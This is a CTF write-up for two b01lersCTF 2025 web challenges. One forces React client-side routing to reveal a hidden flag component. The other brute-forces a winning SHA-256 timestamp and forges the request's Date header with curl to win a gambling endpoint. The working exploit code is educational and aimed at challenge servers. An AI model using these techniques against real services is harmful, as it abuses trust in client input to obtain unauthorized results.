b01lersc CTF 2025 - Web Challenge Writeup

b01lersc CTF 2025 - Web Challenge Writeup

in

Introduction

Hey security enthusiasts today I’m sharing my journey through two fascinating web challenges from the recent b01lersCTF competition. I participated with my team “418s”.

I’ll be walking you through two particularly interesting challenges - one that delves into React routing vulnerabilities and another that exploits timestamp-based authentication. Let’s get started!

Challenge 1: Route Manipulation

Challenge Name: “Routing Nightmares”

Description: “Our new startup’s routing system keeps giving us headaches! We’ve implemented all the modern frameworks, but something’s just not working right. Can you help us reach our secret endpoint?”

Understanding the Problem

When I first accessed the challenge at the provided URL, I was presented with a standard landing page. Looking at the page source and developer tools, I discovered this was a React application using client-side routing.

The key files in the application were:

  • Main index file setting up React Router
  • App.tsx for the main content
  • Flag.tsx for the component that would display our prize

The router configuration showed that the flag component should be accessible at the /flag path:

<BrowserRouter>
    <Routes>
        <Route index element={<App />} />
        <Route path="/flag" element={<Flag />} />
    </Routes>
</BrowserRouter>

However, navigating directly to /flag resulted in a 404 error. This was our first clue.

The Solution

After studying React’s client-side routing behavior, I realized the issue: the site was hosted on GitHub Pages, which doesn’t natively support client-side routing. When requesting /flag directly, the server looks for an actual file at that path rather than letting React handle the routing.

The component containing the flag was still loaded into the client’s browser as part of the JavaScript bundle - we just needed to trigger the client-side router to display it!

The solution was to manipulate the browser’s history state and force React Router to render our desired component:

  1. First, I updated the browser’s URL without triggering a page reload:
// Modifying browser history to point to flag path
window.history.replaceState(null, document.title, '/flag');
  1. Then, I dispatched a navigation event to trigger React Router’s route handling:
// Triggering React Router's route handler
const navEvent = new Event('popstate');
window.dispatchEvent(navEvent);

Flag: bctf{r3wr1t1ng_h1st0ry_1b07a3768fc}

Why This Works

This exploit works because of how single-page applications (SPAs) handle routing:

  • Normal navigation causes full page reloads and server requests
  • Client-side routing updates the DOM without page reloads
  • By manually updating the browser history and triggering the right events, we can manipulate which components React renders

Challenge 2: Timestamp Manipulation

Challenge Name: “Luck of the Draw”

Description: A gambling application where timing is everything.

Analysis

This challenge presented a simple gambling application. The server would determine if you won based on a timestamp hash:

  1. The server takes the current timestamp (from the request’s Date header or server time)
  2. It converts this to a Unix timestamp (seconds since epoch)
  3. It hashes this value using SHA-256
  4. If the first two bytes of the hash are both 0xFF (255), you win the flag

Here’s the key server-side code:

app.post('/gamble', (req, res) => {
    const time = req.headers.date ? new Date(req.headers.date) : new Date()
    const number = Math.floor(time.getTime() / 1000)
    
    // Hash the timestamp and check first two bytes
    gamble(number).then(data => {
        const bytes = new Uint8Array(data)
        if (bytes[0] == 255 && bytes[1] == 255) {
            res.send({
                success: true,
                result: "1111111111111111",
                flag: "bctf{actual_flag_here}"
            })
        } else {
            // Return failure response
        }
    })
});

The vulnerability is obvious: the server accepts and uses a custom Date header from the client instead of always using server time.

Exploitation

I created a more optimized brute-force script to find a winning timestamp:

const { createHash } = require('crypto');

// Function to check if a timestamp produces the winning hash
function checkTimestamp(unix_time) {
  // Convert to string for hashing
  const timeStr = unix_time.toString();
  
  // Generate SHA-256 hash
  const hash = createHash('sha256').update(timeStr).digest();
  
  // Check if first two bytes are both 255 (0xFF)
  return hash[0] === 255 && hash[1] === 255;
}

// Main function to search for winning timestamps
async function findWinningTimestamps(count = 1) {
  console.log(`Searching for ${count} winning timestamp(s)...`);
  
  // Start from current time
  let currentTime = Math.floor(Date.now() / 1000);
  const winners = [];
  
  // Search in batches for better performance
  while (winners.length < count) {
    // Check current timestamp
    if (checkTimestamp(currentTime)) {
      const readableDate = new Date(currentTime * 1000).toUTCString();
      winners.push({ timestamp: currentTime, date: readableDate });
      console.log(`Found winning timestamp: ${readableDate}`);
    }
    
    // Move to next timestamp
    currentTime -= 1;
    
    // Progress indicator every million checks
    if (currentTime % 1000000 === 0) {
      console.log(`Checked ${Date.now() / 1000 - currentTime} seconds of history...`);
    }
  }
  
  return winners;
}

// Execute search
findWinningTimestamps(2).then(winners => {
  console.log('Search complete. Winning timestamps:');
  winners.forEach((w, i) => console.log(`${i+1}. ${w.date} (${w.timestamp})`));
});

After running this more comprehensive script, I found multiple valid timestamps. One of them was Sun, 20 Apr 2025 19:17:09 GM, which produced the required hash pattern.

I then sent a POST request to the /gamble endpoint with this custom Date header:

curl -X POST https://when.atreides.b01lersc.tf/gamble \
  -H "Content-Type: application/json" \
  -H "Date: Sun, 20 Apr 2025 19:17:09 GMT"

The server returned the flag: bctf{ninety_nine_percent_of_gamblers_gamble_81dc9bdb}

Conclusion

These challenges demonstrate common web application vulnerabilities:

  1. Client-side routing issues: Always ensure your hosting environment supports your routing strategy
  2. Trusting client input: Never trust user-provided timestamps or dates for security-critical operations

I hope you enjoyed this walkthrough! Remember, understanding the underlying technologies is key to finding these clever exploits. Happy hacking!